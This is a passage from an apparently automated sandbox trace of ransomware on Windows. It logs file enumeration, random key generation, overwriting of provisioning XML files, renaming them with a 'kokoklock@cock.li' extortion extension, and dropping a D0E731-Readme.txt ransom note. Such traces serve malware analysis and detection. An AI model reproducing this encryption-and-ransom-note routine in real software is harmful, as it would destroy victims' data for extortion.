cAlternateFileName="")) returned 0x33dfe18 [0082.232] wcscmp (_String1=".", _String2=".") returned 0 [0082.232] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x34aad40 | out: lpFindFileData=0x34aad40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.232] wcscmp (_String1="..", _String2=".") returned 1 [0082.232] wcscmp (_String1="..", _String2="..") returned 0 [0082.232] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x34aad40 | out: lpFindFileData=0x34aad40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0082.232] wcscmp (_String1="RunTime", _String2=".") returned 1 [0082.232] wcscmp (_String1="RunTime", _String2="..") returned 1 [0082.232] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3432168 [0082.232] wcscpy (in: _Dest=0x3432168, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" [0082.232] wcscat (in: _Dest=0x3432168, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\" [0082.232] wcscat (in: _Dest=0x3432168, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" [0082.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3432168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0082.950] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x34aad40 | out: lpFindFileData=0x34aad40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0082.950] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0082.950] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0082.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f7bc8 [0082.950] wcscpy (in: _Dest=0x33f7bc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" [0082.950] wcscat (in: _Dest=0x33f7bc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\" [0082.950] wcscat (in: _Dest=0x33f7bc8, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml" [0082.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0082.951] FindNextFileW (in: hFindFile=0x33dfe18, lpFindFileData=0x34aad40 | out: lpFindFileData=0x34aad40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0082.951] FindClose (in: hFindFile=0x33dfe18 | out: hFindFile=0x33dfe18) returned 1 [0082.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aad40) returned 1 [0082.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428138) returned 1 [0082.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429050) returned 1 [0082.952] RtlExitUserThread (Status=0x0) Thread: id = 1086 os_tid = 0x17fc [0082.232] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml")) returned 0x20 [0082.233] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0082.233] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0082.233] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x26c3f88c | out: lpFileSize=0x26c3f88c*=1631) returned 1 [0082.233] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x65b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.233] ReadFile (in: hFile=0x448, lpBuffer=0x26c3f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26c3f85c, lpOverlapped=0x0 | out: lpBuffer=0x26c3f860*, lpNumberOfBytesRead=0x26c3f85c*=0x4, lpOverlapped=0x0) returned 1 [0082.235] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0082.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0082.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c9c0 [0082.235] NtQuerySystemTime (in: CurrentTime=0x26c3f838 | out: CurrentTime=0x26c3f838*=132121176401310070) returned 0x0 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x7a3d30f3 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x9b044c6e [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xf5525b56 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x565fc3a2 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x2b03643a [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xe7e9372 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xb6fb1063 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x59b5d6d3 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x51dbf737 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x40b5f7e9 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xa5e2b7f2 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x5fb5cb32 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x9d02f781 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x817c314 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x1ca0c81a [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xfae7becc [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xd7baa97 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x7014c45b [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x60ffbc7d [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x808b5172 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x62b2b0ac [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xf5de74e5 [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xce8897ba [0082.235] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xcdb4b72 [0082.236] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xcd13f6f9 [0082.236] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0xaeb59317 [0082.236] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x5aecad7a [0082.236] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x78e38d75 [0082.236] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x721721e [0082.236] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x69209672 [0082.236] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x643f8e8d [0082.236] RtlRandom (in: Seed=0x26c3f844 | out: Seed=0x26c3f844) returned 0x9d177583 [0082.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0082.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0082.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0082.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.273] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x65f, lpNumberOfBytesRead=0x26c3f838, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x26c3f838*=0x65f, lpOverlapped=0x0) returned 1 [0082.274] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26c3f800 | out: lpNewFilePointer=0x0) returned 1 [0082.274] WriteFile (in: hFile=0x448, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x65f, lpNumberOfBytesWritten=0x26c3f834, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x26c3f834*=0x65f, lpOverlapped=0x0) returned 1 [0082.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c9e8 [0082.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.274] WriteFile (in: hFile=0x448, lpBuffer=0x342c9e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26c3f830, lpOverlapped=0x0 | out: lpBuffer=0x342c9e8*, lpNumberOfBytesWritten=0x26c3f830*=0x20, lpOverlapped=0x0) returned 1 [0082.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c9e8) returned 1 [0082.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0082.274] WriteFile (in: hFile=0x448, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26c3f85c, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x26c3f85c*=0x8, lpOverlapped=0x0) returned 1 [0082.275] WriteFile (in: hFile=0x448, lpBuffer=0x26c3f874*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26c3f85c, lpOverlapped=0x0 | out: lpBuffer=0x26c3f874*, lpNumberOfBytesWritten=0x26c3f85c*=0x4, lpOverlapped=0x0) returned 1 [0082.275] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26c3f85c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x26c3f85c*=0x4, lpOverlapped=0x0) returned 1 [0082.275] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26c3f85c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x26c3f85c*=0x6c, lpOverlapped=0x0) returned 1 [0082.275] WriteFile (in: hFile=0x448, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26c3f85c, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x26c3f85c*=0x20, lpOverlapped=0x0) returned 1 [0082.275] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26c3f85c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x26c3f85c*=0x4, lpOverlapped=0x0) returned 1 [0082.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca10) returned 1 [0082.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0082.275] CloseHandle (hObject=0x448) returned 1 [0082.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x342a268 [0082.275] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" [0082.276] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0082.276] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.276] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0082.277] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0082.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0082.277] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" [0082.277] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\D0E731-Readme.txt" [0082.277] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\d0e731-readme.txt")) returned 0xffffffff [0082.277] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0082.279] WriteFile (in: hFile=0x448, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x26c3f858, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x26c3f858*=0x481, lpOverlapped=0x0) returned 1 [0082.280] CloseHandle (hObject=0x448) returned 1 [0082.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0082.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435458) returned 1 [0082.280] RtlExitUserThread (Status=0x1) Thread: id = 1087 os_tid = 0x10a0 [0082.278] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml")) returned 0x20 [0082.281] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0082.281] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0082.281] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x26cbfcb0 | out: lpFileSize=0x26cbfcb0*=271) returned 1 [0082.281] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.281] ReadFile (in: hFile=0x448, lpBuffer=0x26cbfc84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26cbfc80, lpOverlapped=0x0 | out: lpBuffer=0x26cbfc84*, lpNumberOfBytesRead=0x26cbfc80*=0x4, lpOverlapped=0x0) returned 1 [0082.283] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0082.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0082.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c9e8 [0082.283] NtQuerySystemTime (in: CurrentTime=0x26cbfc5c | out: CurrentTime=0x26cbfc5c*=132121176401779184) returned 0x0 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x7ef40e0b [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xdd2b2d84 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xd39b5b06 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x9bc8a902 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x46e1141a [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x6f532552 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xd493baae [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x473373c6 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x7bcdae67 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x5c347b80 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x8bc3eb67 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x8bec794f [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xa65632b8 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xefbd1cef [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x803e6b75 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xbcd6bc20 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x4eec3f5a [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xb8ee4a57 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xf6229252 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x68399c58 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x20631c3f [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x15638ea0 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x5237b0b7 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x12629eed [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x77a8c0 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xe7157523 [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x1d177fcb [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xaef51a5d [0082.283] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0xec51d0dc [0082.284] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x2f53093 [0082.284] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x75a7f5e3 [0082.284] RtlRandom (in: Seed=0x26cbfc68 | out: Seed=0x26cbfc68) returned 0x18efafb9 [0082.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0082.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0082.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0082.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.295] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x26cbfc5c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x26cbfc5c*=0x10f, lpOverlapped=0x0) returned 1 [0082.295] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26cbfc24 | out: lpNewFilePointer=0x0) returned 1 [0082.295] WriteFile (in: hFile=0x448, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x26cbfc58, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x26cbfc58*=0x10f, lpOverlapped=0x0) returned 1 [0082.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca38 [0082.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, 